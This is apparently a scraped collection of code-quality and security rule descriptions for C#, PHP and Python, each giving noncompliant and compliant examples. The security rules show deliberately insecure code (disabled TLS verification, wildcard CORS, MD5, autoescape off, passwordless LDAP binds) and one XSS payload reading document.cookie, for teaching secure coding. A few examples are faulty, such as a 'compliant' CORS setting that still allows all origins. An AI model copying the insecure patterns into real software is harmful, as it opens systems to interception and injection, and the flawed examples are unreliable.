A static field that is neither constant nor read-only is not thread-safe. Correctly accessing these fields from different threads needs synchronization with locks. Improper synchronization may lead to unexpected results, thus publicly visible static fields are best suited for storing non-changing data shared by many consumers. To enforce this intent, these fields should be marked readonly or converted to constants.

Noncompliant Code Example

public class Math
{
  public static double Pi = 3.14;  // Noncompliant
}

or

public class Shape
{
  public static Shape Empty = new EmptyShape();  // Noncompliant

  private class EmptyShape : Shape
  {
  }
}

Compliant Solution

public class Math
{
  public const double Pi = 3.14;
}

or

public class Shape
{
  public static readonly Shape Empty = new EmptyShape();

  private class EmptyShape : Shape
  {
  }
}
csharpsquid:S3433

A method is detected as test method if marked with one of the following attributes [TestMethod] or [DataTestMethod] (for mstest), [Fact] or [Theory] (for xunit) or [Test], [TestCase], [TestCaseSource] or [Theory] (for nunit). However, whether or not they have a test attribute, non-public methods are not recognized as tests, and therefore not executed. Neither are async void methods, or methods with generics anywhere in their signatures.

Noncompliant Code Example

[TestMethod]
void TestNullArg()  // Noncompliant; method is not public
{  /* ... */  }

[TestMethod]
public async void MyIgnoredTestMethod()  // Noncompliant; this is an 'async void' method
{ /* ... */ }

[TestMethod]
public void MyIgnoredGenericTestMethod<T>(T foo)  // Noncompliant; method has generics in its signature
{ /* ... */ }

Compliant Solution

[TestMethod]
public void TestNullArg()
{  /* ... */  }

Exceptions

Accessibility is ignored for xUnit Fact test methods, since they do not need to be public.

[Theory] test methods in xUnit and [TestCase] and [TestCaseSource] test methods in nunit can be generic.

csharpsquid:S2589

If a boolean expression doesn't change the evaluation of the condition, then it is entirely unnecessary, and can be removed. If it is gratuitous because it does not match the programmer's intent, then it's a bug and the expression should be fixed.

Noncompliant Code Example

public void Sample(bool b, bool c, string s)
{
    var a = true;
    if (a) // Noncompliant
    {
        DoSomething();
    }

    if (b && a) // Noncompliant; "a" is always "true"
    {
        DoSomething();
    }

    if (c || !a) // Noncompliant; "!a" is always "false"
    {
        DoSomething();
    }

    string d = null;
    var v1 = d ?? "value"; // Noncompliant, d is always null
    var v2 = s ?? d; // Noncompliant, d is always null and the produced value is always equal to s. The condition to check the value of s is gratuitous.
}

Compliant Solution

public void Sample(bool b, bool c, string s)
{
    var a = true;
    if (Foo(a))
    {
        DoSomething();
    }

    if (b)
    {
        DoSomething();
    }

    if (c)
    {
        DoSomething();
    }

    var v1 = "value";
    var v2 = s;
}

See

csharpsquid:S2346

Consistent use of "None" in flags enumerations indicates that all flag values are cleared. The value 0 should not be used to indicate any other state, since there is no way to check that the bit 0 is set.

Noncompliant Code Example

[Flags]
enum FruitType
{
    Void = 0,        // Non-Compliant
    Banana = 1,
    Orange = 2,
    Strawberry = 4
}

Compliant Solution

[Flags]
enum FruitType
{
    None = 0,        // Compliant
    Banana = 1,
    Orange = 2,
    Strawberry = 4
}
csharpsquid:S2225

Calling ToString() on an object should always return a string. Returning null instead contravenes the method's implicit contract.

Noncompliant Code Example

public override string ToString ()
{
  if (this.collection.Count == 0)
  {
    return null; // Noncompliant
  }
  else
  {
    // ...
  }
}

Compliant Solution

public override string ToString ()
{
  if (this.collection.Count == 0)
  {
    return string.Empty;
  }
  else
  {
    // ...
  }
}

See

common-php:InsufficientBranchCoverage
An issue is created on a file as soon as the branch coverage on this file is less than the required threshold. It gives the number of branches to be covered in order to reach the required threshold.
common-php:InsufficientLineCoverage
An issue is created on a file as soon as the line coverage on this file is less than the required threshold. It gives the number of lines to be covered in order to reach the required threshold.
common-php:InsufficientCommentDensity
An issue is created on a file as soon as the density of comment lines on this file is less than the required threshold. The number of comment lines to be written in order to reach the required threshold is provided by each issue message.
common-php:DuplicatedBlocks
An issue is created on a file as soon as there is at least one block of duplicated code on this file
common-php:SkippedUnitTests
Skipped unit tests are considered as dead code. Either they should be activated again (and updated) or they should be removed.
common-php:FailedUnitTests
Test failures or errors generally indicate that regressions have been introduced. Those tests should be handled as soon as possible to reduce the cost to fix the corresponding regressions.
python:S139

This rule verifies that single-line comments are not located at the ends of lines of code. The main idea behind this rule is that in order to be really readable, trailing comments would have to be properly written and formatted (correct alignment, no interference with the visual structure of the code, not too long to be visible) but most often, automatic code formatters would not handle this correctly: the code would end up less readable. Comments are far better placed on the previous empty line of code, where they will always be visible and properly formatted.

Noncompliant Code Example

a = b + c   # This is a trailing comment that can be very very long

Compliant Solution

# This very long comment is better placed before the line of code
a = b + c
python:S2092

When a cookie is protected with the secure attribute set to true it will not be send by the browser over an unencrypted HTTP request and thus cannot be observed by an unauthorized person during a man-in-the-middle attack.

Ask Yourself Whether

  • the cookie is for instance a session-cookie not designed to be sent over non-HTTPS communication.
  • it's not sure that the website contains mixed content or not (ie HTTPS everywhere or not)

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

  • It is recommended to use HTTPs everywhere so setting the secure flag to true should be the default behaviour when creating cookies.
  • Set the secure flag to true for session-cookies.

Sensitive Code Example

Flask

from flask import Response

@app.route('/')
def index():
    response = Response()
    response.set_cookie('key', 'value') # Sensitive
    return response

Compliant Solution

Flask

from flask import Response

@app.route('/')
def index():
    response = Response()
    response.set_cookie('key', 'value', secure=True) # Compliant
    return response

See

python:S5122

Having a permissive Cross-Origin Resource Sharing policy is security-sensitive. It has led in the past to the following vulnerabilities:

Same origin policy in browsers prevents, by default and for security-reasons, a javascript frontend to perform a cross-origin HTTP request to a resource that has a different origin (domain, protocol, or port) from its own. The requested target can append additional HTTP headers in response, called CORS, that act like directives for the browser and change the access control policy / relax the same origin policy.

Ask Yourself Whether

  • You don't trust the origin specified, example: Access-Control-Allow-Origin: untrustedwebsite.com.
  • Access control policy is entirely disabled: Access-Control-Allow-Origin: *
  • You access control policy is dynamically defined by a user-controlled input like origin header.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

  • The Access-Control-Allow-Origin header should be set only for a trusted origin and for specific resources.

Sensitive Code Example

Django

CORS_ORIGIN_ALLOW_ALL = True # Sensitive

Flask

from flask import Flask
from flask_cors import CORS

app = Flask(__name__)
CORS(app, resources={r"/*": {"origins": "*", "send_wildcard": "True"}}) # Sensitive

Compliant Solution

Django

CORS_ORIGIN_ALLOW_ALL = False # Compliant

Flask

from flask import Flask
from flask_cors import CORS

app = Flask(__name__)
CORS(app, resources={r"/*": {"origins": "*", "send_wildcard": "False"}}) # Compliant

See

python:S4792

Configuring loggers is security-sensitive. It has led in the past to the following vulnerabilities:

Logs are useful before, during and after a security incident.

  • Attackers will most of the time start their nefarious work by probing the system for vulnerabilities. Monitoring this activity and stopping it is the first step to prevent an attack from ever happening.
  • In case of a successful attack, logs should contain enough information to understand what damage an attacker may have inflicted.

Logs are also a target for attackers because they might contain sensitive information. Configuring loggers has an impact on the type of information logged and how they are logged.

This rule flags for review code that initiates loggers configuration. The goal is to guide security code reviews.

Ask Yourself Whether

  • unauthorized users might have access to the logs, either because they are stored in an insecure location or because the application gives access to them.
  • the logs contain sensitive information on a production server. This can happen when the logger is in debug mode.
  • the log can grow without limit. This can happen when additional information is written into logs every time a user performs an action and the user can perform the action as many times as he/she wants.
  • the logs do not contain enough information to understand the damage an attacker might have inflicted. The loggers mode (info, warn, error) might filter out important information. They might not print contextual information like the precise time of events or the server hostname.
  • the logs are only stored locally instead of being backuped or replicated.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

  • Check that your production deployment doesn't have its loggers in "debug" mode as it might write sensitive information in logs.
  • Production logs should be stored in a secure location which is only accessible to system administrators.
  • Configure the loggers to display all warnings, info and error messages. Write relevant information such as the precise time of events and the hostname.
  • Choose log format which is easy to parse and process automatically. It is important to process logs rapidly in case of an attack so that the impact is known and limited.
  • Check that the permissions of the log files are correct. If you index the logs in some other service, make sure that the transfer and the service are secure too.
  • Add limits to the size of the logs and make sure that no user can fill the disk with logs. This can happen even when the user does not control the logged information. An attacker could just repeat a logged action many times.

Remember that configuring loggers properly doesn't make them bullet-proof. Here is a list of recommendations explaining on how to use your logs:

  • Don't log any sensitive information. This obviously includes passwords and credit card numbers but also any personal information such as user names, locations, etc... Usually any information which is protected by law is good candidate for removal.
  • Sanitize all user inputs before writing them in the logs. This includes checking its size, content, encoding, syntax, etc... As for any user input, validate using whitelists whenever possible. Enabling users to write what they want in your logs can have many impacts. It could for example use all your storage space or compromise your log indexing service.
  • Log enough information to monitor suspicious activities and evaluate the impact an attacker might have on your systems. Register events such as failed logins, successful logins, server side input validation failures, access denials and any important transaction.
  • Monitor the logs for any suspicious activity.

Sensitive Code Example

import logging
from logging import Logger, Handler, Filter
from logging.config import fileConfig, dictConfig

logging.basicConfig()  # Sensitive

logging.disable()  # Sensitive


def update_logging(logger_class):
    logging.setLoggerClass(logger_class)  # Sensitive


def set_last_resort(last_resort):
    logging.lastResort = last_resort  # Sensitive


class CustomLogger(Logger):  # Sensitive
    pass


class CustomHandler(Handler):  # Sensitive
    pass


class CustomFilter(Filter):  # Sensitive
    pass


def update_config(path, config):
    fileConfig(path)  # Sensitive
    dictConfig(config)  # Sensitive

See

python:S930

Calling a function or a method with fewer or more arguments than expected will raise a TypeError. This is usually a bug and should be fixed.

Noncompliant Code Example

######################
# Positional Arguments
######################

param_args = [1, 2, 3]
param_kwargs = {'x': 1, 'y': 2}

def func(a, b=1):
    print(a, b)

def positional_unlimited(a, b=1, *args):
    print(a, b, *args)

func(1)
func(1, 42)
func(1, 2, 3)  # Noncompliant. Too many positional arguments
func()  # Noncompliant. Missing positional argument for "a"

positional_unlimited(1, 2, 3, 4, 5)

def positional_limited(a, *, b=2):
    print(a, b)

positional_limited(1, 2)  # Noncompliant. Too many positional arguments


#############################
# Unexpected Keyword argument
#############################

def keywords(a=1, b=2, *, c=3):
    print(a, b, c)

keywords(1)
keywords(1, z=42)  # Noncompliant. Unexpected keyword argument "z"

def keywords_unlimited(a=1, b=2, *, c=3, **kwargs):
    print(a, b, kwargs)

keywords_unlimited(a=1, b=2, z=42)

#################################
# Mandatory Keyword argument only
#################################

def mandatory_keyword(a, *, b):
    print(a, b)

mandatory_keyword(1, b=2)
mandatory_keyword(1)  # Noncompliant. Missing keyword argument "b"

See

  • MISRA C:2004, 16.6 - The number of arguments passed to a function shall match the number of parameters.
  • MITRE, CWE-628 - Function Call with Incorrectly Specified Arguments
  • CERT, DCL07-C. - Include the appropriate type information in function declarators
  • CERT, EXP37-C. - Call functions with the correct number and type of arguments
python:S4790

Cryptographic hash algorithms such as MD2, MD4, MD5, MD6, HAVAL-128, HMAC-MD5, DSA (which uses SHA-1), RIPEMD, RIPEMD-128, RIPEMD-160, HMACRIPEMD160 and SHA-1 are no longer considered secure, because it is too easy to create hash collisions with them (little computational effort is enough to find two or more different inputs that produces the same hash).

Ask Yourself Whether

The hashed value is used in a security context like:

  • User-password storage.
  • Security token generation (used to confirm e-mail when registering on a website, reset password, etc ...).
  • To compute some message integrity.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

Safer alternatives, such as SHA-256, SHA-512, SHA-3 or bcrypt are recommended, and for password hashing, it's even better to use algorithms that not compute too "quickly", like bcrypt instead of SHA-256, because it slows brute force and dictionary based attacks.

Sensitive Code Example

import hashlib
m = hashlib.md5() // Sensitive
import hashlib
m = hashlib.sha1() // Sensitive
import md5 // Sensitive and deprecated since Python 2.5; use the hashlib module instead.
m = md5.new()

import sha // Sensitive and deprecated since Python 2.5; use the hashlib module instead.
m = sha.new()

Compliant Solution

import hashlib
m = hashlib.sha256() // Compliant

See

python:S1721

Parentheses are not required after the assert, del, elif, except, for, if, in, not, raise, return, while, and yield keywords, and using them unnecessarily impairs readability. They should therefore be omitted.

Noncompliant Code Example

x = 1
while (x < 10):
    print "x is now %d" % (x)
    x += 1

Compliant Solution

x = 1
while x < 10:
    print "x is now %d" % (x)
    x += 1
python:S1722

The new style of class creation, with the declaration of a parent class, created a unified object model in Python, so that the type of an instantiated class is equal to its class. In Python 2.2-2.7, this is not the case for old-style classes. In Python 3+ all classes are new-style classes. However, since the behavior can differ from 2.2+ to 3+, explicitly inheriting from object (if there is no better candidate) is recommended.

Noncompliant Code Example

class MyClass():
    pass

Compliant Solution

class MyClass(object):
    pass
python:S5527

To establish a SSL/TLS connection not vulnerable to man-in-the-middle attacks, it's essential to make sure the server presents the right certificate.

The certificate's hostname-specific data should match the server hostname.

It's not recommended to re-invent the wheel by implementing custom hostname verification.

TLS/SSL libraries provide built-in hostname verification functions that should be used.

Noncompliant Code Example

Python ssl standard library:

import ssl

ctx = ssl._create_unverified_context() # Noncompliant: by default hostname verification is not done
ctx = ssl._create_stdlib_context() # Noncompliant: by default hostname verification is not done

ctx = ssl.create_default_context()
ctx.check_hostname = False # Noncompliant

ctx = ssl._create_default_https_context()
ctx.check_hostname = False # Noncompliant

Compliant Solution

Python ssl standard library:

import ssl

ctx = ssl._create_unverified_context()
ctx.check_hostname = True # Compliant

ctx = ssl._create_stdlib_context()
ctx.check_hostname = True # Compliant

ctx = ssl.create_default_context() # Compliant: by default hostname verification is enabled
ctx = ssl._create_default_https_context() # Compliant: by default hostname verification is enabled

See

python:S3626

Jump statements, such as return, break and continue let you change the default flow of program execution, but jump statements that direct the control flow to the original direction are just a waste of keystrokes.

Noncompliant Code Example

def redundant_jump(x):
    if x == 1:
        print(True)
        return  # NonCompliant

Compliant Solution

def redundant_jump(x):
    if x == 1:
        print(True)

Exceptions

  • No issue is raised if the jump statement is the only statement of a statement suite:
def my_function(x):
    if x > 5:
        do_something()
    elif x == 0:
        return # ok even it could be changed to "pass"
    else:
        do_something_else()
  • No issue is raised for return None because this was certainly done on purpose to be explicit that a function is really returning None.
python:S1845

Looking at the set of methods and fields in a class and finding two that differ only by capitalization is confusing to users of the class.

This situation may simply indicate poor naming. Method names should be action-oriented, and thus contain a verb, which is unlikely in the case where both a method and a field have the same name (with or without capitalization differences). However, renaming a public method could be disruptive to callers. Therefore renaming the member is the recommended action.

Noncompliant Code Example

class SomeClass:
    lookUp = false
    def lookup():       # Non-compliant; method name differs from field name only by capitalization
        pass

Compliant Solution

class SomeClass:
    lookUp = false
    def getLookUp():
        pass
python:S5806

Shadowing a builtin makes your code more difficult to read and maintain. It may also be a source of bugs as you can reference the builtin by mistake.

It is sometimes ok to shadow a builtin to improve the readability of a public API or to support multiple versions of a library. In these cases the value is higher than the maintainability cost. Just be careful when you do it.

It is not ok to shadow builtins with variables which are local to a function or method. These variables are not public and can be easily renamed, thus reducing the confusion and making the code less error-prone.

This rule raises an issue when the name of a local variable matches the name of a builtin.

Noncompliant Code Example

def a_function():
    int = 42  # Noncompliant; int is a builtin

Compliant Solution

def a_function():
    value = 42

See

python:S5807

Developers may define a list named __all__ in a module to limit the names imported from it by wildcard imports (from mymodule import *). This list can only reference defined names, otherwise an AttributeError will be raised when the module is imported.

Noncompliant Code Example

from mymodule import my_func

__all__ = ["unknown_func"]  # Noncompliant. "unknown_func" is undefined

Compliant Solution

from mymodule import my_func

__all__ = ["my_func"]

See

python:S5247

To reduce the risk of cross-site scripting attacks, templating systems, such as Twig, Django, Smarty, Groovy's template engine, allow configuration of automatic variable escaping before rendering templates. When escape occurs, characters that make sense to the browser (eg: <a>) will be transformed/replaced with escaped/sanitized values (eg: & lt;a& gt; ).

Auto-escaping is not a magic feature to annihilate all cross-site scripting attacks, it depends on the strategy applied and the context, for example a "_html auto-escaping_" strategy (which only transforms html characters into html entities) will not be relevant when variables are used in a html attribute because ':' character is not escaped and thus an attack as below is possible:

<a href="{{ myLink }}">link</a> // myLink = javascript:alert(document.cookie)
<a href="javascript:alert(document.cookie)">link</a> // JS injection (XSS attack)

Ask Yourself Whether

  • Templates are used to render web content and
    • dynamic variables in templates come from untrusted locations or are user-controlled inputs
    • there is no local mechanism in place to sanitize or validate the inputs.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

  • Enable auto-escaping by default and continue to review the use of inputs in order to be sure that the chosen auto-escaping strategy is the right one.

Sensitive Code Example

from jinja2 import Environment

env = Environment() # Sensitive: New Jinja2 Environment has autoescape set to false
env = Environment(autoescape=False) # Sensitive:

Compliant Solution

from jinja2 import Environment
env = Environment(autoescape=True) # Compliant

See

python:S4433

An LDAP client authenticates to an LDAP server with a "bind request" which provides, among other, a simple authentication method.

Simple authentication in LDAP can be used with three different mechanisms:

  • Anonymous Authentication Mechanism by performing a bind request with a username and password value of zero length.
  • Unauthenticated Authentication Mechanism by performing a bind request with a password value of zero length.
  • Name/Password Authentication Mechanism by performing a bind request with a password value of non-zero length.

Anonymous binds and unauthenticated binds allow access to information in the LDAP directory without providing a password, their use is therefore strongly discouraged.

Noncompliant Code Example

import ldap

def init_ldap():
   connect = ldap.initialize('ldap://example:1389')

   connect.simple_bind('cn=root') # Noncompliant
   connect.simple_bind_s('cn=root') # Noncompliant
   connect.bind_s('cn=root', None) # Noncompliant
   connect.bind('cn=root', None) # Noncompliant

Compliant Solution

import ldap
import os

def init_ldap():
   connect = ldap.initialize('ldap://example:1389')

   connect.simple_bind('cn=root', os.environ.get('LDAP_PASSWORD')) # Compliant
   connect.simple_bind_s('cn=root', os.environ.get('LDAP_PASSWORD')) # Compliant
   connect.bind_s('cn=root', os.environ.get('LDAP_PASSWORD')) # Compliant
   connect.bind('cn=root', os.environ.get('LDAP_PASSWORD')) # Compliant

See

python:S2772

The use of a pass statement where it's not required by the syntax is pure cruft and should be removed.

Noncompliant Code Example

    def __init__(self, log="", who="", date=0, files=[]):
        self.log = log
        self.files = files
        self.who = who
        self.date = date
        pass    # Noncompliant

    def lookup():
        pass    # Compliant; method can't be empty

Compliant Solution

    def __init__(self, log="", who="", date=0, files=[]):
        self.log = log
        self.files = files
        self.who = who
        self.date = date

    def lookup():
        pass
python:S1045

Exceptions handlers (except:) are evaluated in the order they are written. Once a match is found, the evaluation stops.

In some contexts an except block is dead code as it will never catch any exception:

  • If there is a handler for a base class followed by a handler for class derived from that base class, the second handler will never trigger: The handler for the base class will match the derived class, and will be the only executed handler.
  • When multiple except statements try to catch the same exception class, only the first one will be executed.
  • In python 3, BaseException is the parent of every exception class. When BaseException is caught and the same try-except block has a bare except: statement, i.e. an except with no expression, the bare except will never catch anything.

This rule raises an issue when an except block catches every exception before a later except block could catch it.

Noncompliant Code Example

def foo():
    try:
        raise FloatingPointError()
    except (ArithmeticError, RuntimeError) as e:
        print(e)
    except FloatingPointError as e: # Noncompliant. FloatingPointError is a subclass of ArithmeticError
        print("Never executed")
    except OverflowError as e: # Noncompliant. OverflowError is a subclass of ArithmeticError
        print("Never executed")

    try:
        raise TypeError()
    except TypeError as e:
        print(e)
    except TypeError as e: # Noncompliant. Duplicate Except.
        print("Never executed")

    try:
        raise ValueError()
    except BaseException as e:
        print(e)
    except: # Noncompliant. This is equivalent to "except BaseException" block
        print("Never executed")

Compliant Solution

def foo():
    try:
        raise FloatingPointError()
    except FloatingPointError as e:
        print("Executed")
    except OverflowError as e:
        print("Executed")
    except (ArithmeticError, RuntimeError) as e:
        print(e)

    try:
        raise TypeError()
    except TypeError as e:
        print(e)

    try:
        raise ValueError()
    except BaseException as e:
        print(e)

See

* Python Documentation - The try statement

python:S3981

The length of a collection is always greater than or equal to zero. So testing that a length is greater than or equal to zero doesn't make sense, since the result is always true. Similarly testing that it is less than zero will always return false. Perhaps the intent was to check the non-emptiness of the collection instead.

Noncompliant Code Example

mylist = []
if len(myList) >= 0:  # Noncompliant
    pass

if len(myList) < 0:  # Noncompliant
    pass

Compliant Solution

mylist = []
if len(myList) >= 42:
    pass

if len(myList) == 0:
    pass
python:S3984

Creating a new Exception without actually raising it has no effect and is probably due to a mistake.

Noncompliant Code Example

def func(x):
    if not isinstance(x, int):
        TypeError("Wrong type for parameter 'x'. func expects an integer")  # Noncompliant
    if x < 0:
        ValueError  # Noncompliant
    return x + 42

Compliant Solution

def func(x):
    if not isinstance(x, int):
        raise TypeError("Wrong type for parameter 'x'. func expects an integer")
    if x < 0:
        raise ValueError
    return x + 42

See

python:S3862

For-in loops, yield from and iterable unpacking only work with iterable objects. In order to be iterable, an object should have either an __iter__ method or a __getitem__ method implementing the Sequence semantic.

Note also that iterating over an asynchronous iterable, i.e. an object having the __aiter__ method, requires the use of async for ... in instead of for ... in.

This rule raises an issue when a non iterable object is used in a for-in loop, in a yield from or when it is unpacked.

Noncompliant Code Example

class Empty:
    pass

empty = Empty()

for a in empty:  # Noncompliant
    print(a)

a, b, c = empty  # Noncompliant

print(*empty)  # Noncompliant

[1, 2, 3, *empty]  # Noncompliant

# yield from
def generator():
    yield from Empty()  # Noncompliant

# async generators
async def async_generator():
    yield 1

a, *rest = async_generator()  # Noncompliant
for a in async_generator():  # Noncompliant; "async" is missing before "for"
    print(a)

Compliant Solution

class MyIterable:
    def __init__(self, values):
        self._values = values

    def __iter__(self):
        return iter(self._values)

my_iterable = MyIterable(range(10))

for a in my_iterable:
    print(a)

a, b, *c = my_iterable

print(*my_iterable)

[1, 2, 3, *my_iterable]

# yield from
def generator():
    yield from subgenerator()

def subgenerator():
    yield 1

# async generators
async def async_generator():
    yield 1

async for a in async_generator():
    print(a)

See

python:S5886

Developers can use type hints to specify which type a function is expected to return. These annotations are not enforced at runtime and returning a different type might not fail. It is however likely to be unintended and will lead to maintainability issues, if not bugs.

This rule raises an issue when a function or method returns a value that contradicts its type hint.

Noncompliant Code Example

def hello() -> str:
    return 42  # Noncompliant. Function's type hint asks for a string return value

Compliant Solution

def hello() -> str:
    return "Hello"

See

python:S4830

Validation of X.509 certificates is essential to create secure SSL/TLS sessions not vulnerable to man-in-the-middle attacks.

The certificate chain validation includes these steps:

  • The certificate is issued by its parent Certificate Authority or the root CA trusted by the system.
  • Each CA is allowed to issue certificates.
  • Each certificate in the chain is not expired.

It's not recommended to reinvent the wheel by implementing custom certificate chain validation.

TLS libraries provide built-in certificate validation functions that should be used.

Noncompliant Code Example

psf/requests library:

import requests

requests.request('GET', 'https://example.domain', verify=False) # Noncompliant
requests.get('https://example.domain', verify=False) # Noncompliant

Python ssl standard library:

import ssl

ctx1 = ssl._create_unverified_context() # Noncompliant: by default certificate validation is not done
ctx2 = ssl._create_stdlib_context() # Noncompliant: by default certificate validation is not done

ctx3 = ssl.create_default_context()
ctx3.verify_mode = ssl.CERT_NONE # Noncompliant

pyca/pyopenssl library:

from OpenSSL import SSL

ctx1 = SSL.Context(SSL.TLSv1_2_METHOD) # Noncompliant: by default certificate validation is not done

ctx2 = SSL.Context(SSL.TLSv1_2_METHOD)
ctx2.set_verify(SSL.VERIFY_NONE, verify_callback) # Noncompliant

Compliant Solution

psf/requests library:

import requests

requests.request('GET', 'https://example.domain', verify=True)
requests.request('GET', 'https://example.domain', verify='/path/to/CAbundle')
requests.get(url='https://example.domain') # by default certificate validation is enabled

Python ssl standard library:

import ssl

ctx = ssl.create_default_context()
ctx.verify_mode = ssl.CERT_REQUIRED

ctx = ssl._create_default_https_context() # by default certificate validation is enabled

pyca/pyopenssl library:

from OpenSSL import SSL

ctx = SSL.Context(SSL.TLSv1_2_METHOD)
ctx.set_verify(SSL.VERIFY_PEER, verify_callback) # Compliant
ctx.set_verify(SSL.VERIFY_PEER | SSL.VERIFY_FAIL_IF_NO_PEER_CERT, verify_callback) # Compliant
ctx.set_verify(SSL.VERIFY_PEER | SSL.VERIFY_FAIL_IF_NO_PEER_CERT | SSL.VERIFY_CLIENT_ONCE, verify_callback) # Compliant

See

python:S5644

Getting, setting and deleting items using square brackets requires the accessed object to have special methods:

  • Getting items such as my_variable[key] requires my_variable to have the __getitem__ method, or the __class_getitem__ method if my_variable is a class.
  • Setting items such as my_variable[key] = 42 requires my_variable to have the __setitem__ method.
  • Deleting items such as del my_variable[key] requires my_variable to have the __delitem__ method.

This rule raises an issue when an item operation is performed on an object which doesn't have the corresponding method.

Noncompliant Code Example

del (1, 2)[0]  # Noncompliant, tuples are immutable
(1, 2)[0] = 42  # Noncompliant
(1, 2)[0]

class A:
    def __init__(self, values):
        self._values = values

a = A([0,1,2])

a[0]  # Noncompliant
del a[0]  # Noncompliant
a[0] = 42  # Noncompliant

class B:
    pass

B[0]  # Noncompliant

Compliant Solution

del [1, 2][0]  # Lists are mutable
[1, 2][0] = 42
[1, 2][0]

class A:
    def __init__(self, values):
        self._values = values

    def __getitem__(self, key):
        return self._values[key]

    def __setitem__(self, key, value):
        self._values[key] = value

    def __delitem__(self, key):
        del self._values[key]

a = A([0,1,2])

a[0]
del a[0]
a[0] = 42

class B:
    def __class_getitem__(cls, key):
        return [0, 1, 2, 3][key]

B[0]

See

python:S1720

A string literal that is the first statement in a module, function, class, or method is a docstring. A docstring should document what a caller needs to know about the code. Information about what it does, what it returns, and what it requires are all valid candidates for documentation. Well written docstrings allow callers to use your code without having to first read it and understand its logic.

By convention, docstrings are enclosed in three sets of double-quotes.

Noncompliant Code Example

def my_function(a,b):

Compliant Solution

def my_function(a,b):
      """Do X"""
python:S3985

"Private" nested classes that are never used inside the enclosing class are usually dead code: unnecessary, inoperative code that should be removed. Cleaning out dead code decreases the size of the maintained codebase, making it easier to understand the program and preventing bugs from being introduced.

Python has no real private classes. Every class is accessible. There are however two conventions indicating that a class is not meant to be "public":

  • classes with a name starting with a single underscore (ex: _MyClass) should be seen as non-public and might change without prior notice. They should not be used by third-party libraries or software. It is ok to use those classes inside the library defining them but it should be done with caution.
  • "class-private" classes are defined inside another class, and have a name starting with at least two underscores and ending with at most one underscore. These classes' names will be automatically mangled to avoid collision with subclasses' nested classes. For example __MyClass will be renamed as _classname__MyClass, where classname is the enclosing class's name without its leading underscore(s). Class-Private classes shouldn't be used outside of their enclosing class.

This rule raises an issue when a private nested class (either with one or two leading underscores) is never used inside its parent class.

Noncompliant Code Example

class Noncompliant:
    class __MyClass1():  # Noncompliant
        pass

    class _MyClass2():  # Noncompliant
        pass

Compliant Solution

class Compliant:
    class __MyClass1():
        pass

    class _MyClass2():
        pass

    def process(self):
        return Compliant.__MyClass1()

    def process(self):
        return Compliant._MyClass2()

See

python:S4143

It is highly suspicious when a value is saved in a collection for a given key or index and then unconditionally overwritten. Such replacements are likely errors.

This rule raises an issue when the __setitem__ method of the same object is called multiple times with the same index, slice or key without any other action done between the calls.

Noncompliant Code Example

def swap(mylist, index1, index2):
    tmp = mylist[index2]
    mylist[index2] = mylist[index1]
    mylist[index2] = tmp  # Noncompliant

list2 = [0,1,2,3,4,5,6,7,8,9]
list2[3:5] = [42,42]
list2[3:5] = [42,42]  # Noncompliant

mymap = {'a': {}}
mymap['a']['b'] = 42
mymap['a']['b'] = 42  # Noncompliant
python:S125

Programmers should not comment out code as it bloats programs and reduces readability.

Unused code should be deleted and can be retrieved from source control history if required.

python:S1707

TODO and FIXME comments are typically intended to be short-lived; they are placeholders and reminders that programmers leave for themselves. Unfortunately, even with the best of intentions, those comments are not always acted on and removed in a timely manner. Thus, they can become mysterious, lingering cruft in a code base, reducing both readability and understand-ability.

This rule flags all FIXME and TODO comments that do not have an attribution matching the specified regular expression immediately after the FIXME or TODO. Ideally, such comments will also contain information about what needs to be fixed or done, but this rule does not enforce that.

Noncompliant Code Example

# TODO

Compliant Solution

# TODO(ganncamp) per the business partners, more checks needed
python:CommentRegularExpression

This rule template can be used to create rules which will be triggered when a comment matches a given regular expression.

For example, one can create a rule with the regular expression .*REVIEW.* to match all comment containing "REVIEW".

Note that, in order to match REVIEW regardless of the case, the (?i) modifier should be prepended to the expression, as in (?i).*REVIEW.*.

python:LongIntegerWithLowercaseSuffixUsage

The long suffix should always be written in uppercase, i.e. 'L', as the lowercase 'l' can easily be confused with the digit one '1'.

Noncompliant Code Example

return 10l  // Noncompliant; easily confused with one zero one

Compliant Solution

return 10L
python:FunctionComplexity

The Cyclomatic Complexity of functions should not exceed a defined threshold. Complex code may perform poorly and can be difficult to test thoroughly.

python:S4823

Using command line arguments is security-sensitive. It has led in the past to the following vulnerabilities:

Command line arguments can be dangerous just like any other user input. They should never be used without being first validated and sanitized.

Remember also that any user can retrieve the list of processes running on a system, which makes the arguments provided to them visible. Thus passing sensitive information via command line arguments should be considered as insecure.

This rule raises an issue on every reference to sys.argv, call to optparse.OptionParser() or a call to argparse.ArgumentParser(). The goal is to guide security code reviews.

Ask Yourself Whether

  • any of the command line arguments are used without being sanitized first.
  • your application accepts sensitive information via command line arguments.

If you answered yes to any of these questions you are at risk.

Recommended Secure Coding Practices

Sanitize all command line arguments before using them.

Any user or application can list running processes and see the command line arguments they were started with. There are safer ways of providing sensitive information to an application than exposing them in the command line. It is common to write them on the process' standard input, or give the path to a file containing the information.

See

Deprecated

This rule is deprecated, and will eventually be removed.

python:S4829

Reading Standard Input is security-sensitive. It has led in the past to the following vulnerabilities:

It is common for attackers to craft inputs enabling them to exploit software vulnerabilities. Thus any data read from the standard input (stdin) can be dangerous and should be validated.

This rule flags code that reads from the standard input.

Ask Yourself Whether

  • data read from the standard input is not sanitized before being used.

You are at risk if you answered yes to this question.

Recommended Secure Coding Practices

Sanitize all data read from the standard input before using it.

Sensitive Code Example

Python 2 and Python 3

import sys
from sys import stdin, __stdin__

# Any reference to sys.stdin or sys.__stdin__ without a method call is Sensitive
sys.stdin  # Sensitive

for line in sys.stdin:  # Sensitive
    print(line)

it = iter(sys.stdin)  # Sensitive
line = next(it)

# Calling the following methods on stdin or __stdin__ is sensitive
sys.stdin.read()  # Sensitive
sys.stdin.readline()  # Sensitive
sys.stdin.readlines()  # Sensitive

# Calling other methods on stdin or __stdin__ does not require a review, thus it is not Sensitive
sys.stdin.seekable()  # Ok
# ...

Python 2 only

raw_input('What is your password?')  # Sensitive

Python 3 only

input('What is your password?')  # Sensitive

Function fileinput.input and class fileinput.FileInput read the standard input when the list of files is empty.

for line in fileinput.input():  # Sensitive
    print(line)

for line in fileinput.FileInput():  # Sensitive
    print(line)

for line in fileinput.input(['setup.py']):  # Ok
    print(line)

